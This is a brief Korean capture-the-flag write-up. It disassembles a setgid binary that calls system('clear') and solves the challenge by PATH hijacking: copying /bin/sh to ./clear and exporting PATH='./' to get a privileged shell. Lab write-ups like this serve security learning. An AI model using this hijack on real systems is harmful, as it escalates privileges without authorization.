이런 문제고 주어지는 파일은 바이너리 파일이다.
IDA로 이걸 열어보면
; Attributes: bp-based frame
; int __cdecl main(int argc, const char **argv, const char **envp)
public main
main proc near
; __unwind {
endbr64
push rbp
mov rbp, rsp
mov edx, 3E9h ; sgid
mov esi, 3E9h ; egid
mov edi, 3E9h ; rgid
mov eax, 0
call _setresgid
lea rax, command ; "clear"
mov rdi, rax ; command
call _system
lea rax, s ; "Tada~!"
mov rdi, rax ; s
call _puts
mov eax, 0
pop rbp
retn
; } // starts at 1189
main endp
_text ends
이런게 나오고 이걸 디컴파일하면
int __cdecl main(int argc, const char **argv, const char **envp)
{
setresgid(0x3E9u, 0x3E9u, 0x3E9u);
system("clear");
puts("Tada~!");
return 0;
}
이런게 나온다
아직 딱히 힌트라고 할만한게 없다.
그럼 ssh로 접근해보자
ls
whoami로 보면 난 pwn인데 chal이랑 flag를 실행할려면 pwned 권한이 필요하다.
좀 찾아보니 환경변수를 조작하여 권한을 얻어야 한다.
export로 환경변수를 보자.
int __cdecl main(int argc, const char **argv, const char **envp)
{
setresgid(0x3E9u, 0x3E9u, 0x3E9u);
system("clear");
puts("Tada~!");
return 0;
}
다시 코드를 보면 setresgid()는 권한 관련 함수이다. 이건 건드리지 말고 system()을 건드려야 한다. 원래 ./chal로 실행하면 clear가 실행되서 티머널을 초기화한다.
export PATH="./"
이런식으로 환경변수를 조작할 수 있는데
/bin/cp /bin/sh ./clear
$ export PATH="./"
이런식으로 clear를 실행하면 쉘 코드가 실행되도록 PATH 경로를 바꿔준다.